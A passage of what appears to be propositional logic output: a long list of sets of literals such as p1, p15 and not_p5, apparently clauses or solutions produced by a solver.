p1, p15, p5, p16, p17, p9, p7, p25, not_p4, not_p19} {p18, p1, p15, p5, p16, p17, p9, p21, not_p4, not_p19} {p20, p1, p15, p5, p16, p17, p6, p9, p21, not_p4, not_p19} {p20, p1, p15, p5, p16, p17, p6, p11, p9, not_p4, not_p19} {p20, p1, p15, p5, p16, p17, p11, p9, p7, not_p4, not_p19} {p18, p1, p15, not_p5, p5, p16, p17, p9, p25, not_p4} {p18, p1, p15, not_p5, p5, p16, p17, p9, p21, not_p4} {p20, p1, p15, not_p5, p5, p16, p17, p6, p9, p25, not_p4} {p20, p1, p15, not_p5, p5, p16, p17, p6, p9, p21, not_p4} {p20, p1, p15, not_p5, p5, p16, p17, p6, p11, p9, not_p4} {p20, p1, p15, not_p5, p5, p16, p17, p9, p7, p25, not_p4} {p20, p1, p15, not_p5, p5, p16, p17, p11, p9, p7, not_p4} {p12, p15, not_p5, p5, p16, p17, p9, p21, not_p4} {p2, p15, not_p5, p5, p16, p17, p9, p25, not_p4} {p2, p15, not_p5, p5, p16, p17, p9, p21, not_p4} {p2, p15, p5, p16, p17, p14, p25, not_p4, not_p19} {p2, p15, not_p5, p5, p16, p17, p14, p25, not_p4} {p18, p1, p15, p5, p16, p17, p14, p25, not_p4, not_p19} {p20, p1, p15, p5, p16, p17, p14, p25, not_p4, not_p19} {p18, p1, p15, not_p5, p5, p16, p17, p14, p25, not_p4} {p20, p1, p15, not_p5, p5, p16, p17, p14, p25, not_p4} {p12, p15, not_p5, p5, p16, p17, p14, p21, not_p4} {p2, p15, p5, p16, p17, p14, p21, not_p4, not_p19} {p18, p1, p15, p5, p16, p17, p14, p21, not_p4, not_p19} {p20, p1, p15, p5, p16, p17, p14, p21, not_p4, not_p19} {p2, p15, not_p5, p5, p16, p17, p14, p21, not_p4} {p18, p1, p15, not_p5, p5, p16, p17, p14, p21, not_p4} {p20, p1, p15, not_p5, p5, p16, p17, p14, p21, not_p4} {p2, p15, p5, p16, not_p8, p14, p25, not_p4, not_p19} {p2, p15, not_p5, p5, p16, not_p8, p14, p25, not_p4} {p18, p1, p15, p5, p16, not_p8, p14, p25, not_p4, not_p19} {p20, p1, p15, p5, p16, not_p8, p14, p25, not_p4, not_p19} {p18, p1, p15, not_p5, p5, p16, not_p8, p14, p25, not_p4} {p20, p1, p15, not_p5, p5, p16, not_p8, p14, p25, not_p4} {p22, p2, p15, p5, p16, not_p8, p14, p25, not_p4} {p1, p22, p15, p5, p16, not_p8, p14, p25, not_p4} {p1, p22, p15, p5, p16, p6, p8, p14, not_p4} {p18, p1, p15, not_p5, p5, p16, p6, p8, p14, p25, not_p4} {p20, p1, p15, not_p5, p5, p16, p6, p8, p14, p25, not_p4} {p20, p1, p15, not_p5, p16, p8, p9, p4, not_p19} {p20, p1, p15, not_p5, p16, p17, not_p20, p9, p4} {p20, p1, p15, not_p5, p16, p17, p9, p21, p25, p4} {p20, p1, p15, not_p5, p16, p17, p11, p9, p21, p4} {p20, p1, p15, not_p5, p16, p8, not_p8, p9, p4} {p20, p1, p15, not_p5, p16, not_p8, p9, p25, p4} {p20, p1, p15, p5, p16, p17, p9, p25, p4, not_p19} {p20, p1, p15, p5, p16, p17, p9, p21, p4, not_p19} {p20, p1, p15, p5, p16, p17, p11, p9, p4, not_p19} {p20, p1, p15, not_p5, p5, p16, p17, p9, p25, p4} {p20, p1, p15, not_p5, p5, p16, p17, p9, p21, p4} {p20, p1, p15, not_p5, p5, p16, p17, p11, p9, p4} {p1, p22, p15, p5, p16, p17, p9, p4} {not_p16, p15, not_p5, p17, not_p20, p14, p4} {p2, p15, not_p5, p17, not_p20, p14, p4} {p12, p15, not_p5, p17, not_p20, p14, p4} {p18, p1, p15, not_p5, p17, not_p20, p14, p4} {p20, p1, p15, not_p5, p17, not_p20, p14, p4} {not_p16, p15, not_p5, p17, not_p20, not_p3, p4} {p2, p15, not_p5, p17, not_p20, not_p3, p4} {p12, p15, not_p5, p17, not_p20, not_p3, p4} {p18, p1, p15, not_p5, p17, not_p20, not_p3, p4} {p20, p1, p15, not_p5, p17, not_p20, not_p3, p4} {not_p16, p15, not_p5, p17, not_p20, not_p25, p4} {p2, p15, not_p5, p17, not_p20, not_p25, p4} {p12, p15, not_p5, p17, not_p20, not_p25, p4} {p18, p1, p15, not_p5, p17, not_p20, not_p25, p4} {p20, p1, p15, not_p5, p17, not_p20, not_p25, p4} {not_p16, p15, not_p5, p17, not_p20, p9, p4} {p20, p1, p15, not_p5, not_p15, p17, not_p20, p9, p4} {p18, p1, p15, not_p5, p17, not_p20, p9, p4} {p2, p15, not_p5, p17, not_p20, p9, p4} {p12, p15, not_p5, p17, not_p20, p9, p4} {p12, p15, not_p5, p17, p14, p25, p4} {p12, p15, not_p5, p17, not_p3, p25, p4} {p12, p15, not_p5, p17, not_p25, p25, p4} {p12, p15, not_p5, p17, p9, p25, p4} {not_p16, p15, not_p5, p17, p14, p21, p25, p4} {not_p16, p15, not_p5, p17, not_p3, p21, p25, p4} {not_p16, p15, not_p5, p17, not_p25, p21, p25, p4} {not_p16, p15, not_p5, p17, p9, p21, p25, p4} {p2, p15, not_p5, p17, p14, p21, p25, p4} {p2, p15, not_p5, p17, not_p3, p21, p25, p4} {p2, p15, not_p5, p17, not_p25, p21, p25, p4} {p2, p15, not_p5, p17, p9, p21, p25, p4} {p18, p1, p15, not_p5, p17, p9, p21, p25, p4} {p18, p1, p15, not_p5, p17, p14, p21, p25, p4} {p18, p1, p15, not_p5, p17, not_p3, p21, p25, p4} {p18, p1, p15, not_p5, p17, not_p25, p21, p25, p4} {p20, p1, p15, not_p5, p17, p14, p21, p25, p4} {p20, p1, p15, not_p5, p17, not_p3, p21, p25, p4} {p20, p1, p15, not_p5, not_p15, p17, p9, p21, p25, p4} {p20, p1, p15, not_p5, p17, not_p25, p21, p25, p4} {p20, p1, p15, not_p5, not_p15, p17, p11, p9, p21, p4} {not_p16, p15, not_p5, not_p8, not_p3, p25, p4} {p2, p15, not_p5, not_p8, not_p3, p25, p4} {p18, p1, p15, not_p5, not_p8, not_p3, p25, p4} {p20, p1, p15, not_p5, not_p8, not_p3, p25, p4} {not_p16, p15, not_p5, not_p8, p14, p21, p25, p4} {p2, p15, not_p5, not_p8, p14, p21, p25, p4} {p18, p1, p15, not_p5, not_p8, p14, p21, p25, p4} {p20, p1, p15, not_p5, not_p8, p14, p21, p25, p4} {not_p16, p15, not_p5, not_p20, not_p8, p14, p25, p4} {p2, p15, not_p5, not_p20, not_p8, p14, p25, p4} {p18, p1, p15, not_p5, not_p20, not_p8, p14, p25, p4} {p20, p1, p15, not_p5, not_p20, not_p8, p14, p25, p4} {not_p16, p15, not_p5, not_p8, not_p25, p25, p4} {p2, p15, not_p5, not_p8, not_p25, p25, p4} {p18, p1, p15, not_p5, not_p8, not_p25, p25, p4} {p20, p1, p15, not_p5, not_p8, not_p25, p25, p4} {not_p16, p15, not_p5, not_p8, p9, p25, p4} {p18, p1, p15, not_p5, not_p8, p9, p25, p4} {p20, p1, p15, not_p5, not_p15, not_p8, p9, p25, p4} {p2, p15, not_p5, not_p8, p9, p25, p4} {p12, p15, not_p5, not_p8, not_p3, p4} {p12, p15, not_p5, not_p8, not_p25, p4} {p20, p1, p15, not_p5, not_p15, p8, not_p8, p9, p4} {p12, p15, not_p5, not_p8, p9, p4} {p12, p15, not_p5, not_p8, p14, p4} {p20, p1, p15, not_p5, not_p15, p8, p9, p4, not_p19} {p12, p15, not_p5, p14, p4, not_p19} {p12, p15, not_p5, not_p3, p4, not_p19} {p12, p15, not_p5, not_p25, p4, not_p19} {p12, p15, not_p5, p9, p4, not_p19} {p12, p15, not_p5, p6, p14, p4} {p12, p15, not_p5, p6, not_p3, p4} {p12, p15, not_p5, p6, not_p25, p4} {p12, p15, not_p5, p6, p9, p4} {p22, not_p16, p15, p5, p17, p14, p4} {p22, p12, p15, p5, p17, p14, p4} {p22, p2, p15, p5, p17, p14, p4} {p1, p22, p15, p5, p17, p14, p4} {p22, not_p16, p15, p5, p17, not_p3, p4} {p22, p12, p15, p5, p17, not_p3, p4} {p22, p2, p15, p5, p17, not_p3, p4} {p1, p22, p15, p5, p17, not_p3, p4} {p22, not_p16, p15, p5, p17, not_p25, p4} {p22, p12, p15, p5, p17, not_p25, p4} {p22, p2, p15, p5, p17, not_p25, p4} {p1, p22, p15, p5, p17, not_p25, p4} {p22, not_p16, p15, p5, p17, p9, p4} {p22, p12, p15, p5, p17, p9, p4} {p1, p22, p15, p5, not_p15, p17, p9, p4} {p18, p1, p22, p15, p5, p17, p9, p4} {p22, p2, p15, p5, p17, p9, p4} {not_p16, p15, p5, p17, not_p3, p25, p4, not_p19} {p2, p15, p5, p17, not_p3, p25, p4, not_p19} {p18, p1, p15, p5, p17, not_p3, p25, p4, not_p19} {p20, p1, p15, p5, p17, not_p3, p25, p4, not_p19} {not_p16, p15, not_p5, p5, p17, not_p3, p25, p4} {p2, p15, not_p5, p5, p17, not_p3, p25, p4} {p18, p1, p15, not_p5, p5, p17, not_p3, p25, p4} {p20, p1, p15, not_p5, p5, p17, not_p3, p25, p4} {not_p16, p15, p5, p17, not_p3, p21, p4, not_p19} {p2, p15, p5, p17, not_p3, p21, p4, not_p19} {p18, p1, p15, p5, p17, not_p3, p21, p4, not_p19} {p20, p1, p15, p5, p17, not_p3, p21, p4, not_p19} {not_p16, p15, not_p5, p5, p17, not_p3, p21, p4} {p12, p15, not_p5, p5, p17, not_p3, p21, p4} {p2, p15, not_p5, p5, p17, not_p3, p21, p4} {p18, p1, p15, not_p5, p5, p17, not_p3, p21, p4} {p20, p1, p15, not_p5, p5, p17, not_p3, p21, p4} {not_p16, p15, p5, p17, p14, p25, p4, not_p19} {p2, p15, p5, p17, p14, p25, p4, not_p19} {p18, p1, p15, p5, p17, p14, p25, p4, not_p19} {p20, p1, p15, p5, p17, p14, p25, p4, not_p19} {not_p16, p15, not_p5, p5, p17, p14, p25, p4} {p2, p15, not_p5, p5, p17, p14, p25, p4} {p18, p1, p15, not_p5, p5, p17, p14, p25, p4} {p20, p1, p15, not_p5, p5, p17, p14, p25, p4} {p12, p15, not_p5, p5, p17, p14, p21, p4} {not_p16, p15, p5, p17, p14, p21, p4, not_p19} {p2, p15, p5, p17, p14, p21, p4, not_p19} {p18, p1, p15, p5, p17, p14, p21, p4, not_p19} {p20, p1, p15, p5, p17, p14, p21, p4, not_p19} {not_p16, p15, not_p5, p5, p17, p14, p21, p4} {p2, p15, not_p5, p5, p17, p14, p21, p4} {p18, p1, p15, not_p5, p5, p17, p14, p21, p4} {p20, p1, p15, not_p5, p5, p17, p14, p21, p4} {not_p16, p15, p5, p17, not_p25, p25, p4, not_p19} {p2, p15, p5, p17, not_p25, p25, p4, not_p19} {p18, p1, p15, p5, p17, not_p25, p25, p4, not_p19} {p20, p1, p15, p5, p17, not_p25, p25, p4, not_p19} {not_p16, p15, not_p5, p5, p17, not_p25, p25, p4} {p2, p15, not_p5, p5, p17, not_p25, p25, p4} {p18, p1, p15, not_p5, p5, p17, not_p25, p25, p4} {p20, p1, p15, not_p5, p5, p17, not_p25, p25, p4} {not_p16, p15, p5, p17, not_p25, p21, p4, not_p19} {p2, p15, p5, p17, not_p25, p21, p4, not_p19} {p18, p1, p15, p5, p17, not_p25, p21, p4, not_p19} {p20, p1, p15, p5, p17, not_p25, p21, p4, not_p19} {not_p16, p15, not_p5, p5, p17, not_p25, p21, p4} {p12, p15, not_p5, p5, p17, not_p25, p21, p4} {p2, p15, not_p5, p5, p17, not_p25, p21, p4} {p18, p1, p15, not_p5, p5, p17, not_p25, p21, p4} {p20, p1, p15, not_p5, p5, p17, not_p25, p21, p4} {not_p16, p15, p5, p17, p9, p25, p4, not_p19} {not_p16, p15, not_p5, p5, p17, p9, p25, p4} {not_p16, p15, p5, p17, p9, p21, p4, not_p19} {not_p16, p15, not_p5, p5, p17, p9, p21, p4} {p20, p1, p15, p5, not_p15, p17, p9, p25, p4, not_p19} {p20, p1, p15, p5, not_p15, p17, p9, p21, p4, not_p19} {p20, p1, p15, p5, not_p15, p17, p11, p9, p4, not_p19} {p18, p1, p15, p5, p17, p9, p25, p4, not_p19} {p18, p1, p15, p5, p17, p9, p21, p4, not_p19} {p2, p15, p5, p17, p9, p25, p4, not_p19} {p2, p15, p5, p17, p9, p21, p4, not_p19} {p12, p15, not_p5, p5, p17, p9, p21, p4} {p20, p1, p15, not_p5, p5, not_p15, p17, p9, p25, p4} {p20, p1, p15, not_p5, p5, not_p15, p17, p9, p21, p4} {p20, p1, p15, not_p5, p5, not_p15, p17, p11, p9, p4} {p18, p1, p15, not_p5, p5, p17, p9, p25, p4} {p18, p1, p15, not_p5, p5, p17, p9, p21, p4} {p2, p15, not_p5, p5, p17, p9, p25, p4} {p2, p15, not_p5, p5, p17, p9, p21, p4} {not_p16, p15, p5, not_p8, p14, p25, p4, not_p19} {p2, p15, p5, not_p8, p14, p25, p4, not_p19} {p18, p1, p15, p5, not_p8, p14, p25, p4, not_p19} {p20, p1, p15, p5, not_p8, p14, p25, p4, not_p19} {not_p16, p15, not_p5, p5, not_p8, p14, p25, p4} {p2, p15, not_p5, p5, not_p8, p14, p25, p4} {p18, p1, p15, not_p5, p5, not_p8, p14, p25, p4} {p20, p1, p15, not_p5, p5, not_p8, p14, p25, p4} {p22, not_p16, p15, p5, not_p8, p14, p25, p4} {p22, p2, p15, p5, not_p8, p14, p25, p4} {p1, p22, p15, p5, not_p8, p14, p25, p4} {not_p16, p15, not_p5, p8, not_p3, not_p4, not_p19} {p2, p15, not_p5, p8, not_p3, not_p4, not_p19} {p12, p15, not_p5, p8, not_p3, not_p4, not_p19} {p18, p1, p15, not_p5, p8, not_p3, not_p4, not_p19} {p20, p1, p15, not_p5, p8, not_p3, not_p4, not_p19} {not_p16, p15, not_p5, p8, not_p25, not_p4, not_p19} {p2, p15, not_p5, p8, not_p25, not_p4, not_p19} {p12, p15, not_p5, p8, not_p25, not_p4, not_p19} {p18, p1, p15, not_p5, p8, not_p25, not_p4, not_p19} {p20, p1, p15, not_p5, p8, not_p25, not_p4, not_p19} {not_p16, p15, not_p5, p8, p9, not_p4, not_p19} {not_p16, p15, not_p5, p8, p14, p21, not_p4, not_p19} {not_p16, p15, not_p5, not_p20, p8, p14, not_p4, not_p19} {p2, p15, not_p5, p8, p9, not_p4, not_p19} {p12, p15, not_p5, p8, p9, not_p4, not_p19} {p18, p1, p15, not_p5, p8, p9, not_p4, not_p19} {p20, p1, p15, not_p5, not_p15, p8, p9, p7, not_p4, not_p19} {p12, p15, not_p5, p8, p14, not_p4, not_p19} {p2, p15, not_p5, p8, p14, p21, not_p4, not_p19} {p18, p1, p15, not_p5, p8, p14, p21, not_p4, not_p19} {p20, p1, p15, not_p5, p8, p14, p21, not_p4, not_p19} {p2, p15, not_p5, not_p20, p8, p14, not_p4, not_p19} {p18, p1, p15, not_p5, not_p20, p8, p14, not_p4, not_p19} {p20, p1, p15, not_p5, not_p20, p8, p14, not_p4, not_p19} {not_p16, p15, not_p5, p8, not_p8, not_p3, not_p4} {p2, p15, not_p5, p8, not_p8, not_p3, not_p4} {p12, p15, not_p5, p8, not_p8, not_p3, not_p4} {p18, p1, p15, not_p5, p8, not_p8, not_p3, not_p4} {p20, p1, p15, not_p5, p8, not_p8, not_p3, not_p4} {not_p16, p15, not_p5, p6, p8, not_p3, not_p4} {not_p16, p15, not_p5, p17, not_p20, p8, not_p3, not_p4} {not_p16, p15, not_p5, p17, p8, not_p3, p21, p25, not_p4} {p18, p1, p15, not_p5, not_p15, p6, p8, not_p3, not_p4} {p20, p1, p15, not_p5, not_p15, p6, p8, not_p3, not_p4} {p2, p15, not_p5, p6, p8, not_p3, not_p4} {p12, p15, not_p5, p6, p8, not_p3, not_p4} {p2, p15, not_p5, p17, not_p20, p8, not_p3, not_p4} {p2, p15, not_p5, p17, p8, not_p3, p21, p25, not_p4} {p12, p15, not_p5, p17, not_p20, p8, not_p3, not_p4} {p18, p1, p15, not_p5, p17, not_p20, p8, not_p3, not_p4} {p20, p1, p15, not_p5, p17, not_p20, p8, not_p3, not_p4} {p12, p15, not_p5, p17, p8, not_p3, p25, not_p4} {p18, p1, p15, not_p5, p17, p8, not_p3, p21, p25, not_p4} {p20, p1, p15, not_p5, p17, p8, not_p3, p21, p25, not_p4} {not_p16, p15, not_p5, p8, not_p8, not_p25, not_p4} {p2, p15, not_p5, p8, not_p8, not_p25, not_p4} {p12, p15, not_p5, p8, not_p8, not_p25, not_p4} {p18, p1, p15, not_p5, p8, not_p8, not_p25, not_p4} {p20, p1, p15, not_p5, p8, not_p8, not_p25, not_p4} {not_p16, p15, not_p5, p6, p8, not_p25, not_p4} {not_p16, p15, not_p5, p17, not_p20, p8, not_p25, not_p4} {not_p16, p15, not_p5, p17, p8, not_p25, p21, p25, not_p4} {p18, p1, p15, not_p5, not_p15, p6, p8, not_p25, not_p4} {p20, p1, p15, not_p5, not_p15, p6, p8, not_p25, not_p4} {p2, p15, not_p5, p6, p8, not_p25, not_p4} {p12, p15, not_p5, p6, p8, not_p25, not_p4} {p2, p15, not_p5, p17, not_p20, p8, not_p25, not_p4} {p2, p15, not_p5, p17, p8, not_p25, p21, p25, not_p4} {p12, p15, not_p5, p17, not_p20, p8, not_p25, not_p4} {p18, p1, p15, not_p5, p17, not_p20, p8, not_p25, not_p4} {p20, p1, p15, not_p5, p17, not_p20, p8, not_p25, not_p4} {p12, p15, not_p5, p17, p8, not_p25, p25, not_p4} {p18, p1, p15, not_p5, p17, p8, not_p25, p21, p25, not_p4} {p20, p1, p15, not_p5, p17, p8, not_p25, p21, p25, not_p4} {not_p16, p15, not_p5, p8, not_p8, p9, not_p4} {p2, p15, not_p5, p8, not_p8, p9, not_p4} {p12, p15, not_p5, p8, not_p8, p9, not_p4} {p18, p1, p15, not_p5, p8, not_p8, p9, not_p4} {p20, p1, p15, not_p5, not_p15, p8, not_p8, p9, p7, not_p4} {not_p16, p15, not_p5, p8, not_p8, p14, p21, not_p4} {not_p16, p15, not_p5, not_p20, p8, not_p8, p14, not_p4} {p2, p15, not_p5, p8, not_p8, p14, p21, not_p4} {p2, p15, not_p5, not_p20, p8, not_p8, p14, not_p4} {p12, p15, not_p5, p8, not_p8, p14, not_p4} {p18, p1, p15, not_p5, p8, not_p8, p14, p21, not_p4} {p20, p1, p15, not_p5, p8, not_p8, p14, p21, not_p4} {p18, p1, p15, not_p5, not_p20, p8, not_p8, p14, not_p4} {p20, p1, p15, not_p5, not_p20, p8, not_p8, p14, not_p4} {p20, p1, p15, not_p5, not_p15, p6, p8, p9, not_p4} {p18, p1, p15, not_p5, not_p15, p6, p8, p9, not_p4} {not_p16, p15, not_p5, p6, p8, p9, not_p4} {p2, p15, not_p5, p6, p8, p9, not_p4} {p12, p15, not_p5, p6, p8, p9, not_p4} {not_p16, p15, not_p5, p17, not_p20, p8, p9, not_p4} {not_p16, p15, not_p5, p17, p8, p9, p21, p25, not_p4} {p2, p15, not_p5, p17, not_p20, p8, p9, not_p4} {p2, p15, not_p5, p17, p8, p9, p21, p25, not_p4} {p12, p15, not_p5, p17, p8, p9, p25, not_p4} {p12, p15, not_p5, p17, not_p20, p8, p9, not_p4} {p18, p1, p15, not_p5, p17, not_p20, p8, p9, not_p4} {p18, p1, p15, not_p5, p17, p8, p9, p21, p25, not_p4} {p20, p1, p15, not_p5, not_p15, p17, p8, p9, p7, p21, not_p4} {p20, p1, p15, not_p5, not_p15, p17, not_p20, p8, p9, p7, not_p4} {p12, p15, not_p5, p17, p8, p14, p25, not_p4} {p12, p15, not_p5, p17, not_p20, p8, p14, not_p4} {p12, p15, not_p5, p6, p8, p14, not_p4} {not_p16, p15, not_p5, p17, p8, p14, p21, p25, not_p4} {p2, p15, not_p5, p17, p8, p14, p21, p25, not_p4} {p18, p1, p15, not_p5, p17, p8, p14, p21, p25, not_p4} {p20, p1, p15, not_p5, p17, p8, p14, p21, p25, not_p4} {not_p16, p15, not_p5, p6, p8, p14, p21, not_p4} {p2, p15, not_p5, p6, p8, p14, p21, not_p4} {p18, p1, p15, not_p5, not_p15, p6, p8, p14, p21, not_p4} {p20, p1, p15, not_p5, not_p15, p6, p8, p14, p21, not_p4} {not_p16, p15, not_p5, p6, not_p20, p8, p14, not_p4} {p18, p1, p15, not_p5, not_p15, p6, not_p20, p8, p14, not_p4} {p20, p1, p15, not_p5, not_p15, p6, not_p20, p8, p14, not_p4} {p2, p15, not_p5, p6, not_p20, p8, p14, not_p4} {not_p16, p15, not_p5, p17, not_p20, p8, p14, not_p4} {p2, p15, not_p5, p17, not_p20, p8, p14, not_p4} {p18, p1, p15, not_p5, p17, not_p20, p8, p14, not_p4} {p20, p1, p15, not_p5, p17, not_p20, p8, p14, not_p4} {p12, p15, not_p5, p17, p11, not_p3, not_p4} {not_p16, p15, not_p5, p17, p11, not_p3, p21, not_p4} {p2, p15, not_p5, p17, p11, not_p3, p21, not_p4} {p18, p1, p15, not_p5, p17, p11, not_p3, p21, not_p4} {p20, p1, p15, not_p5, p17, p11, not_p3, p21, not_p4} {not_p16, p15, not_p5, p17, p11, not_p20, not_p3, not_p4} {p2, p15, not_p5, p17, p11, not_p20, not_p3, not_p4} {p18, p1, p15, not_p5, p17, p11, not_p20, not_p3, not_p4} {p20, p1, p15, not_p5, p17, p11, not_p20, not_p3, not_p4} {p12, p15, not_p5, p17, p11, not_p25, not_p4} {not_p16, p15, not_p5, p17, p11, not_p25, p21, not_p4} {p2, p15, not_p5, p17, p11, not_p25, p21, not_p4} {p18, p1, p15, not_p5, p17, p11, not_p25, p21, not_p4} {p20, p1, p15, not_p5, p17, p11, not_p25, p21, not_p4} {not_p16, p15, not_p5, p17, p11, not_p20, not_p25, not_p4} {p2, p15, not_p5, p17, p11, not_p20, not_p25, not_p4} {p18, p1, p15, not_p5, p17, p11, not_p20, not_p25, not_p4} {p20, p1, p15, not_p5, p17, p11, not_p20, not_p25, not_p4} {p12, p15, not_p5, p17, p11, p9, not_p4} {not_p16, p15, not_p5, p17, p11, p9, p21, not_p4} {not_p16, p15, not_p5, p17, p11, not_p20, p9, not_p4} {p18, p1, p15, not_p5, p17, p11, p9, p21, not_p4} {p18, p1, p15, not_p5, p17, p11, not_p20, p9, not_p4} {p20, p1, p15, not_p5, not_p15, p17, p6, p11, p9, p21, not_p4} {p20, p1, p15, not_p5, not_p15, p17, p6, p11, not_p20, p9, not_p4} {p20, p1, p15, not_p5, not_p15, p17, p11, p9, p7, p21, not_p4} {p20, p1, p15, not_p5, not_p15, p17, p11, not_p20, p9, p7, not_p4} {p2, p15, not_p5, p17, p11, p9, p21, not_p4} {p2, p15, not_p5, p17, p11, not_p20, p9, not_p4} {p12, p15, not_p5, p17, p11, p14, not_p4} {not_p16, p15, not_p5, p17, p11, p14, p21, not_p4} {p2, p15, not_p5, p17, p11, p14, p21, not_p4} {p18, p1, p15, not_p5, p17, p11, p14, p21, not_p4} {p20, p1, p15, not_p5, p17, p11, p14, p21, not_p4} {not_p16, p15, not_p5, p17, p11, not_p20, p14, not_p4} {p2, p15, not_p5, p17, p11, not_p20, p14, not_p4} {p18, p1, p15, not_p5, p17, p11, not_p20, p14, not_p4} {p20, p1, p15, not_p5, p17, p11, not_p20, p14, not_p4} {p12, p15, not_p5, p11, not_p8, p14, not_p4} {p12, p15, not_p5, p11, not_p8, not_p3, not_p4} {p12, p15, not_p5, p11, not_p8, not_p25, not_p4} {p12, p15, not_p5, p11, not_p8, p9, not_p4} {not_p16, p15, not_p5, p11, not_p8, not_p3, p25, not_p4} {p2, p15, not_p5, p11, not_p8, not_p3, p25, not_p4} {p18, p1, p15, not_p5, p11, not_p8, not_p3, p25, not_p4} {p20, p1, p15, not_p5, p11, not_p8, not_p3, p25, not_p4} {not_p16, p15, not_p5, p11, not_p8, not_p25, p25, not_p4} {p2, p15, not_p5, p11, not_p8, not_p25, p25, not_p4} {p18, p1, p15, not_p5, p11, not_p8, not_p25, p25, not_p4} {p20, p1, p15, not_p5, p11, not_p8, not_p25, p25, not_p4} {not_p16, p15, not_p5, p11, not_p8, p9, p25, not_p4} {p2, p15, not_p5, p11, not_p8, p9, p25, not_p4} {p20, p1, p15, not_p5, not_p15, p6, p11, not_p8, p9, p25, not_p4} {p18, p1, p15, not_p5, p11, not_p8, p9, p25, not_p4} {p20, p1, p15, not_p5, not_p15, p11, not_p8, p9, p7, p25, not_p4} {not_p16, p15, not_p5, p11, not_p8, p14, p21, p25, not_p4} {p2, p15, not_p5, p11, not_p8, p14, p21, p25, not_p4} {p18, p1, p15, not_p5, p11, not_p8, p14, p21, p25, not_p4} {p20, p1, p15, not_p5, p11, not_p8, p14, p21, p25, not_p4} {not_p16, p15, not_p5, p11, not_p20, not_p8, p14, p25, not_p4} {p2, p15, not_p5, p11, not_p20, not_p8, p14, p25, not_p4} {p18, p1, p15, not_p5, p11, not_p20, not_p8, p14, p25, not_p4} {p20, p1, p15, not_p5, p11, not_p20, not_p8, p14, p25, not_p4} {p12, p15, not_p5, p11, p14, not_p4, not_p19} {p12, p15, not_p5, p11, not_p3, not_p4, not_p19} {p12, p15, not_p5, p11, not_p25, not_p4, not_p19} {p12, p15, not_p5, p11, p9, not_p4, not_p19} {p12, p15, not_p5, p6, p11, p14, not_p4} {p12, p15, not_p5, p6, p11, not_p3, not_p4} {p12, p15, not_p5, p6, p11, not_p25, not_p4} {p12, p15, not_p5, p6, p11, p9, not_p4} {not_p16, p15, p5, p17, p11, not_p3, not_p4, not_p19} {not_p16, p15, not_p5, p5, p17, p11, not_p3, not_p4} {p22, not_p16, p15, p5, p17, p11, not_p3, not_p4} {p2, p15, p5, p17, p11, not_p3, not_p4, not_p19} {p2, p15, not_p5, p5, p17, p11, not_p3, not_p4} {p22, p2, p15, p5, p17, p11, not_p3, not_p4} {p18, p1, p15, p5, p17, p11, not_p3, not_p4, not_p19} {p20, p1, p15, p5, p17, p11, not_p3, not_p4, not_p19} {p18, p1, p15, not_p5, p5, p17, p11, not_p3, not_p4} {p20, p1, p15, not_p5, p5, p17, p11, not_p3, not_p4} {p1, p22, p15, p5, p17, p11, not_p3, not_p4} {not_p16, p15, p5, p17, p11, not_p25, not_p4, not_p19} {not_p16, p15, not_p5, p5, p17, p11, not_p25, not_p4} {p22, not_p16, p15, p5, p17, p11, not_p25, not_p4} {p2, p15, p5, p17, p11, not_p25, not_p4, not_p19} {p2, p15, not_p5, p5, p17, p11, not_p25, not_p4} {p22, p2, p15, p5, p17, p11, not_p25, not_p4} {p18, p1, p15, p5, p17, p11, not_p25, not_p4, not_p19} {p20, p1, p15, p5, p17, p11, not_p25, not_p4, not_p19} {p18, p1, p15, not_p5, p5, p17, p11, not_p25, not_p4} {p20, p1, p15, not_p5, p5, p17, p11, not_p25, not_p4} {p1, p22, p15, p5, p17, p11, not_p25, not_p4} {p22, not_p16, p15, p5, p17, p11, p14, not_p4} {not_p16, p15, p5, p17, p11, p14, p25, not_p4, not_p19} {not_p16, p15, not_p5, p5, p17, p11, p14, p25, not_p4} {not_p16, p15, p5, p17, p11, p9, not_p4, not_p19} {not_p16, p15, not_p5, p5, p17, p11, p9, not_p4} {p22, not_p16, p15, p5, p17, p11, p9, not_p4} {p2, p15, p5, p17, p11, p9, not_p4, not_p19} {p2, p15, not_p5, p5, p17, p11, p9, not_p4} {p22, p2, p15, p5, p17, p11, p9, not_p4} {p18, p1, p15, p5, p17, p11, p9, not_p4, not_p19} {p20, p1, p15, p5, not_p15, p17, p6, p11, p9, not_p4, not_p19} {p20, p1, p15, p5, not_p15, p17, p11, p9, p7, not_p4, not_p19} {p18, p1, p15, not_p5, p5, p17, p11, p9, not_p4} {p20, p1, p15, not_p5, p5, not_p15, p17, p6, p11, p9, not_p4} {p20, p1, p15, not_p5, p5, not_p15, p17, p11, p9, p7, not_p4} {p18, p1, p22, p15, p5, p17, p11, p9, not_p4} {p1, p22, p15, p5, not_p15, p17, p6, p11, p9, not_p4} {p1, p22, p15, p5, not_p15, p17, p11, p9, p7, not_p4} {p22, p2, p15, p5, p17, p11, p14, not_p4} {p1, p22, p15, p5, p17, p11, p14, not_p4} {p2, p15, p5, p17, p11, p14, p25, not_p4, not_p19} {p18, p1, p15, p5, p17, p11, p14, p25, not_p4, not_p19} {p20, p1, p15, p5, p17, p11, p14, p25, not_p4, not_p19} {p2, p15, not_p5, p5, p17, p11, p14, p25, not_p4} {p18, p1, p15, not_p5, p5, p17, p11, p14, p25, not_p4} {p20, p1, p15, not_p5, p5, p17, p11, p14, p25, not_p4} {p22, not_p16, p15, p5, p17, p8, not_p3, not_p4} {p22, p12, p15, p5, p17, p8, not_p3, not_p4} {p22, p2, p15, p5, p17, p8, not_p3, not_p4} {p1, p22, p15, p5, p17, p8, not_p3, not_p4} {p22, not_p16, p15, p5, p17, p8, p14, not_p4} {p22, p12, p15, p5, p17, p8, p14, not_p4} {p22, p2, p15, p5, p17, p8, p14, not_p4} {p1, p22, p15, p5, p17, p8, p14, not_p4} {p22, not_p16, p15, p5, p17, p8, not_p25, not_p4} {p22, p12, p15, p5, p17, p8, not_p25, not_p4} {p22, p2, p15, p5, p17, p8, not_p25, not_p4} {p1, p22, p15, p5, p17, p8, not_p25, not_p4} {p22, not_p16, p15, p5, p17, p8, p9, not_p4} {p22, p12, p15, p5, p17, p8, p9, not_p4} {p18, p1, p22, p15, p5, p17, p8, p9, not_p4} {p1, p22, p15, p5, not_p15, p17, p8, p9, p7, not_p4} {p22, p2, p15, p5, p17, p8, p9, not_p4} {not_p16, p15, not_p5, p5, p17, p8, not_p3, p25, not_p4} {p2, p15, not_p5, p5, p17, p8, not_p3, p25, not_p4} {p18, p1, p15, not_p5, p5, p17, p8, not_p3, p25, not_p4} 